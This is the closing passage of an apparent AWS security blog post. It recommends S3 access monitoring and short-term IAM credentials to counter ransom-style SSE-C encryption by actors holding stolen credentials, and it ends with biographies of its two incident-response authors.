Without monitoring, unauthorized actions on S3 buckets may go unnoticed. We recommend that you use tools such as AWS CloudTrail or S3 server access logs to monitor access to your data.

You can use AWS CloudTrail to log events across AWS services (including Amazon S3) and even combine logs into a single account to make them available to your security teams to access and monitor. You can also create CloudWatch alarms based on specific S3 metrics or logs to alert on unusual activity. These alerts can help you identify anomalous behavior quickly. You can also set up automation that uses Amazon EventBridge and AWS Lambda to automatically take corrective measures. See this topic in the S3 documentation for an example implementation of a setup used to scan all buckets across an organization and apply S3 Block Public Access.

IV. Implement short-term credentials

The most effective approach to mitigating the risk of compromised credentials is to never create long-term credentials in the first place. Credentials that do not exist cannot be exposed or stolen, and AWS provides a rich set of capabilities that alleviate the need to ever store credentials in source code or in configuration files.

IAM roles enable applications to securely make signed API requests from Amazon Elastic Compute Cloud (Amazon EC2) instances, Amazon Elastic Container Service (Amazon ECS), or Amazon Elastic Kubernetes Service (Amazon EKS) containers, or Lambda functions by using short-term credentials. Even systems outside the AWS Cloud can make authenticated calls without long-term AWS credentials by using the IAM Roles Anywhere feature. Additionally, AWS IAM Identity Center enables developer workstations to obtain short-term credentials backed by their longer-term user identities that are protected by Multi-factor Authentication (MFA).

All of these technologies rely on the AWS Security Token Service (AWS STS) to issue temporary security credentials that can control access to AWS resources without distributing or embedding long-term AWS security credentials within an application, whether in code or in configuration files.

Summary

Detecting unintended encryption techniques like this in your environment requires vigilance and support. In this post, we highlighted the most common indicators to look for. As your security teams work to constantly protect your environment, know that a number of teams at AWS—including the AWS Customer Incident Response Team (CIRT), Amazon Threat Intelligence, and services teams like the Amazon S3 team—are working diligently to innovate, collaborate, and share insights to help protect your valuable data.

In this post, we provided an update on this recent threat to customer data and highlighted four security best practices that customers can use to protect against the risk of bad actors using SSE-C to encrypt data by using lost or stolen AWS credentials.

As threat actor tactics evolve, our commitment to customer security remains unwavering. Together, we are building a more secure cloud environment, allowing you to innovate with confidence.

If you ever suspect unauthorized activity, please don’t hesitate to contact AWS Support immediately.

Steve de Vera
Steve de Vera

Steve is a manager in the AWS Customer Incident Response Team (CIRT) with a focus on threat research and threat intelligence. He is passionate about American-style BBQ and is a certified competition BBQ judge. He has a dog named Brisket.
Jennifer Paz
Jennifer Paz

Jennifer is a Security Engineer with over a decade of experience, currently serving on the AWS Customer Incident Response Team (CIRT). Jennifer enjoys helping customers tackle security challenges and implementing complex solutions to enhance their security posture. When not at work, Jennifer is an avid walker, jogger, pickleball enthusiast, traveler, and foodie, always on the hunt for new culinary adventures.